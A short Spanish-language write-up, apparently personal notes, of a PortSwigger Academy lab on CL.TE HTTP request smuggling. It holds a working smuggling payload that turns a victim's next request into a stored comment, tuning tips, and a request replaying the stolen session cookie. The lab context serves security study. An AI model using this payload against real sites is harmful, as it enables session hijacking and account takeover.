Skip to content

09 - Exploiting HTTP request smuggling to capture other users' requests

#requestsmuggling #cltevulnerability #infodisclosure #portswigger La cosa para capturar la petición que esta haciendo la otra persona es usar un storage . En este caso los comentarios, lo podemos hacer de esta forma :

HTTP
POST / HTTP/1.1\r\n
Host: 0a90006604a292fb80a849b8001600c4.web-security-academy.net\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 253\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
POST /post/comment HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Cookie: session=OhENlPprnm4KZgeSTIG3VBttF3g9SPJP\r\n
Content-Length: 400\r\n
\r\n
csrf=HOiBASB63pIsEwjRmRKTyZpM8TT8dxRa&postId=10&website=&name=test&email=test%40test.com&comment=

Proporcionándole la cookie de sesión y el csrf token para que la víctima haga un comentario con su request en el post que quieras

Sería ir ajustando el length hasta que se muestre la cookie de la petición que ha hecho el usuario en un comentario.

Cada dos request que hacemos, el usuario hace 1.

A mi me funcionó con Content-Length: 920

Para resolver el lab hacemos :

HTTP
GET /my-account HTTP/2
Host: 0a90006604a292fb80a849b8001600c4.web-security-academy.net
Cookie: victim-fingerprint=26OjlfvGR6yqvB1SslJVK6ufq3RZhJFF; secret=k7GM3qDD8hSDagRy1kng2zbcY1g5AvAn; session=jLu6nJIjBDPtj3DzUqWpO8rRDM6NAsMJ

Notas personales de seguridad ofensiva.